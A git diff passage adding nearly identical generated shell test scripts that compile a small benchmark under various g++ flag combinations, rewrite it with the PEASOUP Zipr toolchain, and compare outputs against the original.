+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d95782fce32f29f90f9e4d947fd9ae4bb60057b6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..dc1c56fd515287980252fbf0b178564a37969c7f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1a09468c63e53cf95a9fc8b88879860f1e395010
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a5c740489c818c8824251f54416c12907fa8411f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..694bb3a5dd801d7a679b18af2ee782e369a8c043
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..389f91e6c43682c986f0bee40eb9b95b3bdfed55
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
